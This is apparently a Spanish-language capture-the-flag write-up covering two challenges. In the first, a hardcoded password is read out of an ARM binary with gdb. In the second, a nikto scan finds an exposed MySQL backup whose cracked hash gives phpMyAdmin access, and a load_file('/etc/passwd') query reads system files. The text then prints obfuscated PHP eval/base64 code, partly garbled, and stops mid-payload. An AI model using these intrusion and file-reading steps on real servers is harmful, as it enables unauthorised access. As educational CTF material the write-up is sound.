

Revision 1.1

Autor: Fernando Munoz / beford.net

Email: fernando@null-life.com

Nivel 1 Reto 1 - Binario ARM

Descripcion del reto

las mismas malas practicas para validar, pero en otro lugar.

Archivos adjuntos

`aae4271263d9a1585d4292c8dbe67c5c`

Una vez descargado el archivo, es necesario identificarlo, para esto usamos la utilidad `file` de linux, la cual utiliza una sistema de identificacion de archivos basado en los primeros bytes (magic number), la llamamos pasandole como parametro el nombre del archivo:

```
$ file aae4271263d9a1585d4292c8dbe67c5c
aae4271263d9a1585d4292c8dbe67c5c: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically
linked, for GNU/Linux 2.6.14, not stripped
```

Se identifica un ejecutable tipo ELF, para la arquitectura ARM. Una opcion era ejecutarlo dentro de un emulador de ARM, como lo es Qemu, pero debido a que estos emuladores no emulan el set de instrucciones completo, y a que se tenia disponible un hardware ARM, se corrio la aplicacion en este dispositivo.

El equipo usado fue un Nokia N900, el cual cuenta con un procesador TI OMAP 3430 SoC ARM Cortex-A8 CPU, compatible con ARMv7. Este cuenta con una distribucion GNU/Linux llamada Maemo, basada en Debian. Mediante el uso de los repositorios de desarrollo se pueden instalar herramientas como GDB, y SSHd la cual nos permitio analizar el binario con facilidad desde un equipo.

Una vez estamos en la terminal del telefono, copiamos el archivo, puede ser mediante la memoria microSD, u obtenerlo de internet.

Le damos permisos de ejecucion al binario:

```
# chmod +x aae4271263d9a1585d4292c8dbe67c5c
```

Y lo ejecutamos:

```
# ./aae4271263d9a1585d4292c8dbe67c5c
Forma de uso: ./BINARIO <user> <password>
```

Decompilando el ejecutable con IDA o buscando a traves de las cadenas se encontro que el

usuario es "campuser", pero el password aun es desconocido.

En IDA se identifico que en 0x82AC es donde se lleva a cabo la verificacion de la contraseña luego de haber verificado el usuario.

Ejecutamos el binario con gdb para poder depurar facilmente.

```
# gdb aae4271263d9a1585d4292c8dbe67c5c
GNU gdb (GDB) 6.8.50.20090417-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabi".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
(no debugging symbols found)
(gdb)
```

Ponemos un breakpoint en 0x82AC

```
(gdb) b *0x82ac
Breakpoint 1 at 0x82ac
```

Ejecutamos el binario con dos parametros: campususer y la clave AAAABBBB

```
(gdb) r campususer AAAABBBB
Starting program: /aae4271263d9a1585d4292c8dbe67c5c campususer AAAABBBB
```

El programa se detiene en la rutina donde se verifica la contraseña

```
Breakpoint 1, 0x000082ac in main ()
0x000082ac <main+132>:  sub     r3, r11, #38      ; 0x26
```

Usando el comando disas podemos ver que se va a ejecutar

```
(gdb) disas
...
0x000082ac <main+132>:  sub     r3, r11, #38      ; 0x26
0x000082b0 <main+136>:  mov     r0, r3
0x000082b4 <main+140>:  ldr     r1, [pc, #196]    ; 0x8380 <main+344>
0x000082b8 <main+144>:  ldr     r2, [r11, #-8]
0x000082bc <main+148>:  bl      0xa9c0 <sprintf>
0x000082c0 <main+152>:  ldr     r3, [r11, #-92]
0x000082c4 <main+156>:  add     r3, r3, #8        ; 0x8
0x000082c8 <main+160>:  ldr     r3, [r3]
0x000082cc <main+164>:  sub     r2, r11, #38      ; 0x26
0x000082d0 <main+168>:  mov     r0, r3
0x000082d4 <main+172>:  mov     r1, r2
0x000082d8 <main+176>:  bl      0x135c0 <strcmp> //Comparacion de la contraseña
0x000082dc <main+180>:  mov     r3, r0
0x000082e0 <main+184>:  cmp     r3, #0           ; 0x0
```

```
0x000082e4 <main+188>: bne 0x833c <main+276>
...
```

Ponemos un breakpoint justo en la comparacion (strcmp):

```
(gdb) b *0x82d8
Breakpoint 2 at 0x82d8
```

Continuamos con la ejecucion del programa

```
(gdb) c
Continuing.
```

Se detiene en la comparacion, procedemos a ver el valor del registro r1

```
Breakpoint 2, 0x000082d8 in main ()
0x000082d8 <main+176>: bl 0x135c0 <strcmp>
(gdb) i r r1 r2
r1 0xbe8db4be 3196957886
(gdb) x/20x $r1
0xbe8db4be: 0x36323731 0x00393237 0xa2d80000 0x00000000
0xbe8db4ce: 0xa2940000 0x00000000 0x00000000 0x59090000
0xbe8db4de: 0x0000001a 0x9ddc0000 0x00000000 0xb6340000
0xbe8db4ee: 0x0003be8d 0x82280000 0xa2d80000 0x00000000
0xbe8db4fe: 0xa2940000 0x00000000 0x00000000 0x00000000
```

La clave (0x36323731 0x00393237) es almacenada en formato little-endian, al pasarlo a ASCII obtenemos el password **1726729**

Volvemos a ejecutar el binario ahora pasandole la nueva contraseña

```
(gdb) r campususer 1726729
The program being debugged has been started already.
Start it from the beginning? (y or n) y
```

```
Starting program: /aae4271263d9a1585d4292c8dbe67c5c campususer 1726729
```

Se detiene en los breakpoints

```
Breakpoint 1, 0x000082ac in main ()
0x000082ac <main+132>: sub r3, r11, #38 ; 0x26
(gdb) c
Continuing.
```

```
Breakpoint 2, 0x000082d8 in main ()
0x000082d8 <main+176>: bl 0x135c0 <strcmp>
(gdb) c
Continuing.
```

Y nos imprime la contraseña

La llave de este reto es: 3454794187d6ff7c6a5dd5

Program exited normally.

La llave entonces para este primer reto es **3454794187d6ff7c6a5dd5**

Nivel 1 - Reto 2 - Piensa diferente

Descripcion del reto

Piensa diferente

50.17.69.244

Para este reto se ingreso directamente a la ip proporcionada, y se obtuvo que tenia un servidor HTTP Apache instalado, el cual retornaba un mensaje de error.

Table 'retocp.operaciones' doesn't exist

Para obtener mas informacion, debemos usar el scanner opensource nikto:

```
$ nikto -h 50.17.69.244
- Nikto v2.1.4
-----
+ Target IP:          50.17.69.244
+ Target Hostname:   ec2-50-17-69-244.compute-1.amazonaws.com
+ Target Port:       80
+ Start Time:        2011-06-31 02:22:00
-----
+ Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny10 with Suhosin-Patch
+ Retrieved x-powered-by header: PHP/5.2.6-1+lenny10
+ Apache/2.2.9 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final
release) and 2.0.64 are also current.
+ Number of sections in the version string differ from those in the database, the server reports:
php/5.2.6-1+lenny10 while the database has: 5.3.5. This may cause false positives.
+ PHP/5.2.6-1+lenny10 appears to be outdated (current is at least 5.3.5)
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/
library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially
sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /backup/: Directory indexing found.
+ OSVDB-3092: /backup/: This might be interesting...
+ OSVDB-3092: /phpmyadmin/: phpMyAdmin is for managing MySQL databases, and should be protected
or limited to authorized hosts.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 6448 items checked: 1 error(s) and 12 item(s) reported on remote host
+ End Time:          2011-06-31 02:32:34 (634 seconds)
-----
```

Despues de que termino el analisis, vemos en el resultado la existencia de dos carpetas importantes:

<http://50.17.69.244/backup/>

<http://50.17.69.244/phpmyadmin/>

El directorio phpmyadmin corresponde a la herramienta de administracion web para Mysql.

El directorio backup contenia dos archivos, uno llamado info.txt con explicitas instrucciones de eliminar estos datos, y el otro llamado BD.sql, el cual tiene una copia de seguridad del motor Mysql. Al analizar este archivo se puede ver que incluye la informacion de la base de datos INFORMATION_SCHEMA, la cual es usada por MySQL para almacenar informacion interna, entre esta la informacion de los usuarios. Existen dos usuarios en el sistema, root y retocp. Y este dump incluye la informacion de la clave de acceso hasheada, para el caso del usuario retocp el valor es 6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9. Usando el buscador Google [1], podemos ver que este hash corresponde al valor 123456. Ahora que ya tenemos credenciales validas, podemos acceder al mysql mediante el phpmyadmin, una vez alli, usamos la ventaja de que la cuenta retocp tiene privilegios de lectura de archivos.

Realizamos una consulta para obtener el /etc/passwd, lo cual nos permite ubicar el directorio raiz del servidor web.

```
Select load_file('/etc/passwd')
```

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:102:104:MySQL Server,,,:/var/lib/mysql:/bin/false
debian-exim:x:103:105::/var/spool/exim4:/bin/false
```

Ahora sabemos que el directorio raiz esta en /var/www, procedemos a leer el archivo /var/www/index.php:

3YzA3Y2V1N49I1x4NzAiOyRuNWFInWQwOGYxNTViN2FmZDhiYmEzOTAzMjY1ODIxNy49I1x4NzQiOyR5M2ZmN2M
0NjC4NzMyNTNkMGNkMDQ1MmM5ZDExNmEYmY49I1wXNDQI0yRiNmZmNGE1ZGJkZmMxODAzNzB1NWNmOWY3Mzg4M2E
zMC49I1wXNjAiOyRtOGUwNGU4YU4OWJmOGI5MjY1MjNmMQW5MTZhmTcyZS49I1wXNjQiOyR1MwVhY2EzZmY5MTE
xMGI2Y2Zhm2FiNmU2OWmZnzc3NS49I1wXNjQiOyRyZDY5YVWmYjg2NDE5MmQ1ODE1Mz1jMGEzZTFLOGMzMS49I1w
xNDMiOyR1YTNkMDdkOTY2OWYzNWZmZDlhMzBhMGI1ODbM2MwMC49I1wXNDYiOyRjZmI5ODM0N2NhYmE0MjM5NjQ
wYzJjYzQ5MDc2MTU40S49I1wXNDMiOyR4NTcyMGZizjI3YjFhMTFkYmQ1ZmU3NzUzNmM3NWI0NC49I1wXNjQiOyR
2ZDIxYjVhMDV1YzUzZjBhODY2NTAxMzk3YzA3Y2V1N49I1wXNTQiOyRuNWFInWQwOGYxNTViN2FmZDhiYmEzOTA
zMjY1ODIxNy49I1w2MSI7JHkzZmY3YzQ2Nzg3MzI1M2QwY2QwNDUyYz1kMTE2YTIzLj0iXHg2NSI7JGI2ZmY0YTV
kYmRmYzE4MDM3MGU1Y2Y5ZjczODgzYTMwLj0iXHg2YyI7JG04ZTA0ZThhZTg5YmY4YjkyNjUyM2YxZDkxNmExNzJ
1Lj0iXHg1ZiI7JHUXZWFjYTMjNjKxMTEwYjZjZmEzYWI2ZTY5Yz3MzNzc1Lj0iXHg2NSI7JHJkNj1hZwZiODY0MTk
yZDU4MTUzOWMwYTF1MWU4YzZmXlJ0iXHg2YyI7JHVhM2QwN2Q5NjY5ZjM1ZmZkOWEzMGewYjU4MGYzYzAwLj0iXHg
2YyI7JGNmYjK4MzQ3Y2FiYTYQYmZk2NDBjMmNjNDkwnZyXNTg5Lj0iXHg2ZiI7JHJkMjFiNWEwNWVjNTNmMGE4NjY
1MDEzOTdjmDdjZwU3Lj0iXHg2MSI7JG41YWI1ZDA4ZjE1NW13YwZkOGJiYTM5MDMyNjU4MjE3Lj0iXHg2YyI7JHk
zZmY3YzQ2Nzg3MzI1M2QwY2QwNDUyYz1kMTE2YTIzLj0iXDE0MyI7JGI2ZmY0YTVkYmRmYzE4MDM3MGU1Y2Y5Zjcz
zODgzYTMwLj0iXDE0MSI7JG04ZTA0ZThhZTg5YmY4YjkyNjUyM2YxZDkxNmExNzJ1Lj0iXDE0MyI7JHJkNj1hZwZ
iODY0MTkyZDU4MTUzOWMwYTF1MWU4YzZmXlJ0iXDE0NSI7JHVhM2QwN2Q5NjY5ZjM1ZmZkOWEzMGewYjU4MGYzYzA
wLj0iXDE2NSI7JGNmYjK4MzQ3Y2FiYTYQYmZk2NDBjMmNjNDkwnZyXNTg5Lj0iXDE1NiI7JHJkMjFiNWEwNWVjNTN
mMGE4NjY1MDEzOTdjmDdjZwU3Lj0iXDE0MyI7JHkzZmY3YzQ2Nzg3MzI1M2QwY2QwNDUyYz1kMTE2YTIzLj0iXHg
2ZiI7JGI2ZmY0YTVkYmRmYzE4MDM3MGU1Y2Y5ZjczODgzYTMwLj0iXHg2MyI7JG04ZTA0ZThhZTg5YmY4YjkyNjU
yM2YxZDkxNmExNzJ1Lj0iXHg2ZiI7JHJkNj1hZwZiODY0MTkyZDU4MTUzOWMwYTF1MWU4YzZmXlJ0iXHg2MSI7JHV
hM2QwN2Q5NjY5ZjM1ZmZkOWEzMGewYjU4MGYzYzAwLj0iXHg3MyI7JGNmYjK4MzQ3Y2FiYTYQYmZk2NDBjMmNjNDk
wnZyXNTg5Lj0iXHg3NCI7JHJkMjFiNWEwNWVjNTNmMGE4NjY1MDEzOTdjmDdjZwU3Lj0iXHg2NSI7JHkzZmY3YzQ
2Nzg3MzI1M2QwY2QwNDUyYz1kMTE2YTIzLj0iXDE0NCI7JGI2ZmY0YTVkYmRmYzE4MDM3MGU1Y2Y5ZjczODgzYTM
wLj0iXDE0NSI7JG04ZTA0ZThhZTg5YmY4YjkyNjUyM2YxZDkxNmExNzJ1Lj0iXDE1NiI7JHJkNj1hZwZiODY0MTk
yZDU4MTUzOWMwYTF1MWU4YzZmXlJ0iXDE1NiI7JHVhM2QwN2Q5NjY5ZjM1ZmZkOWEzMGewYjU4MGYzYzAwLj0iXDE
1MCI7JGNmYjK4MzQ3Y2FiYTYQYmZk2NDBjMmNjNDkwnZyXNTg5Lj0iXDE0NSI7JHkzZmY3YzQ2Nzg3MzI1M2QwY2Q
wNDUyYz1kMTE2YTIzLj0iXHg2NSI7JG04ZTA0ZThhZTg5YmY4YjkyNjUyM2YxZDkxNmExNzJ1Lj0iXHg3NCI7JGN
mYjK4MzQ3Y2FiYTYQYmZk2NDBjMmNjNDkwnZyXNTg5Lj0iXHg2ZSI7JG04ZTA0ZThhZTg5YmY4YjkyNjUyM2YxZDk
xNmExNzJ1Lj0iXDE0NSI7JGNmYjK4MzQ3Y2FiYTYQYmZk2NDBjMmNjNDkwnZyXNTg5Lj0iXDE2NCI7JG04ZTA0ZTh
hZTg5YmY4YjkyNjUyM2YxZDkxNmExNzJ1Lj0iXHg2ZSI7JGNmYjK4MzQ3Y2FiYTYQYmZk2NDBjMmNjNDkwnZyXNTg
5Lj0iXHg3MyI7JG04ZTA0ZThhZTg5YmY4YjkyNjUyM2YxZDkxNmExNzJ1Lj0iXDE2NCI7JG04ZTA0ZThhZTg5YmY
4YjkyNjUyM2YxZDkxNmExNzJ1Lj0iXHg3MyI7JHJkNzIwZmJmMjdlMWEwMWRiZDVmZTc3NTM2YzcljYQ0KCK7aWY
oJHo1MGfKMDA5ZmY4OTA0TEwMDI4ZTQwZjVmNDBiZTVkKCRiNmZmNGE1ZGJkZmMxODAzNzB1NWNmOWY3Mzg4M2E
zMCgiXHg1Y1w1MFx4MjJcMTMzXHgzMFw1NVx4Mz1cMTAxXHgyZFWxMzJceDYxXDU1XHg3YVwXmZrceDjIXDU3XHg
zZFWxMzVceDjHxDQyXhG1Y1w1MSIsI1x4MjhcNDJceDIYXDUxIiwkdmQyMWI1YTA1ZWM1M2YwYtG2NjUwMTM5N2M
wN2N1ZTcoI1lyXG4iLCIiLCRtOGUwNGU4YU4OWJmOGI5MjY1MjNmMQW5MTZhmTcyZSgkYTYXNzclMGQ2Z2ZmN
1NzE5ZjAwNjE5Yjg5MzKxYzIoX19GSUxFX18sI1x4MjgiKSkpKSk9PSJceDMzXDYxXHgzM1wXNDRceDY1XDE0N1x
4MzRcnZfcedY2XDY3XHg2NVw2MFx4MzNcnjBcedMXDcwXHgzOFwXNDNceDM2XDE0M1x4MzNcMTQ0XHgzMFw2M1x
4NjJcNjZcedY1XDE0NVx4NjJcNjZcedYxXDYxI1l7QGv2YwwoJHUxZWFjYTMjNjKxMTEwYjZjZmEzYWI2ZTY5YzZ
3Nzc1KCR5M2ZmN2M0NjC4NzMyNTNkMGNkMDQ1MmM5ZDExNmEYmY49I1wXNDQI0yRiNmZmNGE1ZGJkZmMxODAzNzB1NWNmOWY3Mzg4M2E
2NTgyMTcoIm1Jb29vY2pQkMwSVMrSe8wd0pM1dlcWNGR2REOS9sTzJUF1XdXpjcDJsTm5WeH2pZw1hb1VVM0F
jZzJ2YkN5SU1uMk03WUJKcFR3bD1CU0krZ0E1aGJHaFBhSxhkZ2xhTmdqZUpoTVhJSWJnS2Nrc0tJaytPtdMvWN
nejNuaUPKVN0mJMrMi8rNS9tR21IMWpsb283b3E3YzNpcmxXbEhtVWLDZ1hFUk1JbFRmbDRwU0Y0G1ZdVdMazd
Oe2pHY1BoOEcvWctUcVpzTkkzVkf0Vz1IemkyjZhZeo0dS81YmM0RkFM0UxMzZBMLzhXcnJxS2FicVRncVpYR1o
4SnUwSUZUTVVFNGVubEk0dXd2UmXOUWx4NHRtY0xrvZBFcm9iZ0JpdURYZVVFEGNVYjF2dFBER2g0NH1ITD1neFZ
GUTA3TXovZWg3NSs1K3k1c0FzZC9ZM2FxeG1qTEJNaJv6U1lPZGQzMWVvNUcZdJOSmNBWjd2V1NLVDMrT19vZUc
vTEFoYtdTR1pLTLdOTTRmNkUvS1JwUEJEYk5ndk5vUFFsMTNSWmxqcGJKYmRaUDEwR1JkdzN2V2IXNGh5a2Q3Tkw
2eVgyNDRBYmdFVfZCaWxIbEdmZ1Y3RGl2eDFxM1f1eC8vRtG3VW1UWV1LRVvhMnU1VXFwa3p1Y2daSVRSL0FUQmF
GUG1EdG1LZ25sMmpzN3dZMituaZgwenlia2IydzlRdXFlaUpzS3pvUzIxb0NDZ0JLcm9QK3p3NldzbVgWY0c1MjM
wczBXy1ByN0R4WmZkTnlkNiI0aEzDb0kxRWJkVWhnr3FDakVwYtRalNzNFpIMEZXU0FsoEVpSFJYzkh0dTV2YVJ
UnkZEdmtFbGF4WStuNGRHzmV0N0FRbHFJZ2FnrWh6MFPUNUTjU1pnM241WmMvR1U3N0piVHV0aWtGnnFWY1LDNEY
vTWJMSwdwM2FHU1FRM3B6bGgydEzPnzhSTLRXdDdUQXhiQW96R244Z1Q5dTFjMvPYLZMME1veGk0a3hWNW50VVF
ZUVNcVXdnc1ZUS2FPUnNuYkpNdHdRbKp2UitsQkZMc0ZPY25sK1FpeFYvs085MGxYdTRVZW5XRT1LaWzPNEZBL0d
aa3RETW54TjNmbGpFYkJGTGx3b1ZyVDRwR1ZrNjQ3aEd4VudRtnErOFBNbjEvdGNmeVRPQkVNTTV5b2pMU3Fuejd
KODN0SFVEcAj3QVFKUwGwQTZRULVPazFnSnBsRV1LSURCdF00bGp5ektucHpHamU4ZCtmK3hYUTBLcnpXL092clD
hMzVrT3p5TmJ5UEx4bVU5ODJqbGhRd2ZJajVma2w5WfdGbnDWTnl1K2JUvktKdjZTGZMWXdqN0RXUHZDVWUxNEJ
CdjZ1a1ZJZ0Vjdk8rbT1LNG11ZE9qPT0iKSkpKtT9JHQ3NTQzOTUwZjVjZWEzZTBiNzA5N2NiMDV1ZmNjNmIzKCR
jZmI5ODM0N2NhYmE0MjM5NjQwYzJjYzQ5MDc2MTU40SgPwLDCJcedM2XDYxXHgzOFw3MVx4NjJcMTQYXhgzM1wXNDZ
ceDM3XDYyXHg2N1w2N1x4MzZcNzBcedM2XDY2XHgzOFwXNDNcedMwXDCxXHgzM1w2MFx4Mz1cMTQ1Xhgz2NFw2NFx
4NjRcMTQ1XHgzN1w2N1x4NjVcNjYiKT8kcmQ2OWF1ZmI4NjQxOTJkNTgxNTM5YzBhMWUxZThjZmEoKtOkdWEzZDA
3ZDk2Nj1mZmVzZmQ5YTMwYTBiNTgWzNjMDAOKTs="));

?>

El código está ofuscado mediante una página en línea, analizando podemos ver un eval, el cual llama a una función que se intentó esconder mediante el uso de funciones variables [2], esta función corresponde a base64_decode. Reemplazamos la función eval por print con el fin de poder ver lo que el intérprete de PHP está evaluando, y obtenemos un código que después de ordenarlo un poco corresponde a:

```
$y3ff7c467873253d0cd0452c9d116a23="\x62";
$b6ff4a5dbdfc180370e5cf9f73883a30="\x65";
$m8e04e8ae89bf8b926523f1d916a172e="\x66";
$uleaca32691110b6cfa3ab6e69c37775="\x67";
$z50ad009ff8904910028e40f5f40be5d="\x6d";
$rd69aefb864192d581539c0a1e1e8c31="\x6f";
$ua3d07d9669f35ffd9a30a0b580f3c00="\x6f";
$cfb98347caba4239640c2cc490761589="\x6f";
$x5720fbf27b1a11dbd5fe77536c75b44="\x6f";
$vd21b5a05ec53f0a866501397c07cee7="\x73";
$n5ab5d08f155b7afd8bba39032658217="\x73";
$t7543950f5cea1e0b7097cb05efcc6b3="\x73";
$a616750d6d56fce719f00619b89391c2="\x73";
$y3ff7c467873253d0cd0452c9d116a23.="\141";
$b6ff4a5dbdfc180370e5cf9f73883a30.="\162";
$m8e04e8ae89bf8b926523f1d916a172e.="\151";
$uleaca32691110b6cfa3ab6e69c37775.="\172";
$z50ad009ff8904910028e40f5f40be5d.="\144";
$rd69aefb864192d581539c0a1e1e8c31.="\142";
$ua3d07d9669f35ffd9a30a0b580f3c00.="\142";
$cfb98347caba4239640c2cc490761589.="\142";
$x5720fbf27b1a11dbd5fe77536c75b44.="\142";
$vd21b5a05ec53f0a866501397c07cee7.="\164";
$n5ab5d08f155b7afd8bba39032658217.="\164";
$t7543950f5cea1e0b7097cb05efcc6b3.="\164";
$a616750d6d56fce719f00619b89391c2.="\164";
$y3ff7c467873253d0cd0452c9d116a23.="\x73";
$b6ff4a5dbdfc180370e5cf9f73883a30.="\x65";
$m8e04e8ae89bf8b926523f1d916a172e.="\x6c";
$uleaca32691110b6cfa3ab6e69c37775.="\x69";
$z50ad009ff8904910028e40f5f40be5d.="\x35";
$rd69aefb864192d581539c0a1e1e8c31.="\x5f";
$ua3d07d9669f35ffd9a30a0b580f3c00.="\x5f";
$cfb98347caba4239640c2cc490761589.="\x5f";
$x5720fbf27b1a11dbd5fe77536c75b44.="\x5f";
$vd21b5a05ec53f0a866501397c07cee7.="\x72";
$n5ab5d08f155b7afd8bba39032658217.="\x72";
$t7543950f5cea1e0b7097cb05efcc6b3.="\x72";
$a616750d6d56fce719f00619b89391c2.="\x72";
$y3ff7c467873253d0cd0452c9d116a23.="\145";
$b6ff4a5dbdfc180370e5cf9f73883a30.="\147";
$m8e04e8ae89bf8b926523f1d916a172e.="\145";
$uleaca32691110b6cfa3ab6e69c37775.="\156";
$rd69aefb864192d581539c0a1e1e8c31.="\145";
$ua3d07d9669f35ffd9a30a0b580f3c00.="\145";
$cfb98347caba4239640c2cc490761589.="\147";
$x5720fbf27b1a11dbd5fe77536c75b44.="\163";
$vd21b5a05ec53f0a866501397c07cee7.="\137";
$n5ab5d08f155b7afd8bba39032658217.="\137";
$t7543950f5cea1e0b7097cb05efcc6b3.="\160";
$a616750d6d56fce719f00619b89391c2.="\164";
$y3ff7c467873253d0cd0452c9d116a23.="\x36";
```

\$b6ff4a5dbdfc180370e5cf9f73883a30.="x5f";
\$m8e04e8ae89bf8b926523f1d916a172e.="x5f";
\$uleaca32691110b6cfa3ab6e69c37775.="x66";
\$rd69aefb864192d581539c0a1e1e8c31.="x6e";
\$ua3d07d9669f35ffd9a30a0b580f3c00.="x6e";
\$cfb98347caba4239640c2cc490761589.="x65";
\$x5720fbf27b1a11dbd5fe77536c75b44.="x74";
\$vd21b5a05ec53f0a866501397c07cee7.="x72";
\$n5ab5d08f155b7afd8bba39032658217.="x72";
\$t7543950f5cea1e0b7097cb05efcc6b3.="x6f";
\$a616750d6d56fce719f00619b89391c2.="x6f";
\$y3ff7c467873253d0cd0452c9d116a23.="64";
\$b6ff4a5dbdfc180370e5cf9f73883a30.="162";
\$m8e04e8ae89bf8b926523f1d916a172e.="147";
\$uleaca32691110b6cfa3ab6e69c37775.="154";
\$rd69aefb864192d581539c0a1e1e8c31.="144";
\$ua3d07d9669f35ffd9a30a0b580f3c00.="144";
\$cfb98347caba4239640c2cc490761589.="164";
\$x5720fbf27b1a11dbd5fe77536c75b44.="141";
\$vd21b5a05ec53f0a866501397c07cee7.="145";
\$n5ab5d08f155b7afd8bba39032658217.="157";
\$t7543950f5cea1e0b7097cb05efcc6b3.="163";
\$a616750d6d56fce719f00619b89391c2.="153";
\$y3ff7c467873253d0cd0452c9d116a23.="x5f";
\$b6ff4a5dbdfc180370e5cf9f73883a30.="x65";
\$m8e04e8ae89bf8b926523f1d916a172e.="x65";
\$uleaca32691110b6cfa3ab6e69c37775.="x61";
\$rd69aefb864192d581539c0a1e1e8c31.="x5f";
\$ua3d07d9669f35ffd9a30a0b580f3c00.="x5f";
\$cfb98347caba4239640c2cc490761589.="x5f";
\$x5720fbf27b1a11dbd5fe77536c75b44.="x72";
\$vd21b5a05ec53f0a866501397c07cee7.="x70";
\$n5ab5d08f155b7afd8bba39032658217.="x74";
\$y3ff7c467873253d0cd0452c9d116a23.="144";
\$b6ff4a5dbdfc180370e5cf9f73883a30.="160";
\$m8e04e8ae89bf8b926523f1d916a172e.="164";
\$uleaca32691110b6cfa3ab6e69c37775.="164";
\$rd69aefb864192d581539c0a1e1e8c31.="143";
\$ua3d07d9669f35ffd9a30a0b580f3c00.="146";
\$cfb98347caba4239640c2cc490761589.="143";
\$x5720fbf27b1a11dbd5fe77536c75b44.="164";
\$vd21b5a05ec53f0a866501397c07cee7.="154";
\$n5ab5d08f155b7afd8bba39032658217.="61";
\$y3ff7c467873253d0cd0452c9d116a23.="x65";
\$b6ff4a5dbdfc180370e5cf9f73883a30.="x6c";
\$m8e04e8ae89bf8b926523f1d916a172e.="x5f";
\$uleaca32691110b6cfa3ab6e69c37775.="x65";
\$rd69aefb864192d581539c0a1e1e8c31.="x6c";
\$ua3d07d9669f35ffd9a30a0b580f3c00.="x6c";
\$cfb98347caba4239640c2cc490761589.="x6f";
\$vd21b5a05ec53f0a866501397c07cee7.="x61";
\$n5ab5d08f155b7afd8bba39032658217.="x33";
\$y3ff7c467873253d0cd0452c9d116a23.="143";
\$b6ff4a5dbdfc180370e5cf9f73883a30.="141";
\$m8e04e8ae89bf8b926523f1d916a172e.="143";
\$rd69aefb864192d581539c0a1e1e8c31.="145";
\$ua3d07d9669f35ffd9a30a0b580f3c00.="165";
\$cfb98347caba4239640c2cc490761589.="156";
\$vd21b5a05ec53f0a866501397c07cee7.="143";
\$y3ff7c467873253d0cd0452c9d116a23.="x6f";
\$b6ff4a5dbdfc180370e5cf9f73883a30.="x63";
\$m8e04e8ae89bf8b926523f1d916a172e.="x6f";

```

$rd69aefb864192d581539c0a1e1e8c31.="x61";
$ua3d07d9669f35ffd9a30a0b580f3c00.="x73";
$cfb98347caba4239640c2cc490761589.="x74";
$vd21b5a05ec53f0a866501397c07cee7.="x65";
$y3ff7c467873253d0cd0452c9d116a23.="144";
$b6ff4a5dbdfc180370e5cf9f73883a30.="145";
$m8e04e8ae89bf8b926523f1d916a172e.="156";
$rd69aefb864192d581539c0a1e1e8c31.="156";
$ua3d07d9669f35ffd9a30a0b580f3c00.="150";
$cfb98347caba4239640c2cc490761589.="145";
$y3ff7c467873253d0cd0452c9d116a23.="x65";
$m8e04e8ae89bf8b926523f1d916a172e.="x74";
$cfb98347caba4239640c2cc490761589.="x6e";
$m8e04e8ae89bf8b926523f1d916a172e.="145";
$cfb98347caba4239640c2cc490761589.="164";
$m8e04e8ae89bf8b926523f1d916a172e.="x6e";
$cfb98347caba4239640c2cc490761589.="x73";
$m8e04e8ae89bf8b926523f1d916a172e.="164";
$m8e04e8ae89bf8b926523f1d916a172e.="x73";
$x5720fbf27b1a11dbd5fe77536c75b44();
if($50ad009ff8904910028e40f5f40be5d($b6ff4a5dbdfc180370e5cf9f73883a30("x5c\50\x22\13
3\x30\55\x39\101\x2d\132\x61\55\x7a\134\x2b\57\x3d\135\x2a\42\x5c\51", "x28\42\x22\51"
,$vd21b5a05ec53f0a866501397c07cee7("\r\n", "", $m8e04e8ae89bf8b926523f1d916a172e($a61675
0d6d56fce719f00619b89391c2(__FILE__, "x28"))))
=="x33\61\x32\144\x65\146\x34\71\x66\67\x65\60\x33\60\x33\70\x38\143\x36\143\x33\144\x30\63\x62\
66\x65\145\x62\62\x61\61") {
@eval($uleaca32691110b6cfa3ab6e69c37775($y3ff7c467873253d0cd0452c9d116a23($n5ab5d08f15
5b7afd8bba39032658217("mIoocjRC0IS+H00wG02WuqcFGdD9/
lO6IPYWuzcp21NnVxvieiaoUU3Acg2vbCyIMn2M7YBjPtwl9BSI+gA5hbGhPaIXdglANgjeJhMXIITbgKcksKIik
+iQ7LUCgz3niAJUch23+/+5/
mGmH1jloo7oq7c3irlWlHmUicFXERMILtFl4kYKX8mYuWlK7NsjGbPh8G+X+TqZsNI3VAtw9HzI226adJ4u/
5bc4FAL9LLg0L/
8WrrqKabqTgqZXFZ8Ju0IFTMUE4enlI4uuvRlNq1x4tmcLkW0ErobgBiuDXeUExcoblvtPDGh44yHL9gxVFQ07Mz/
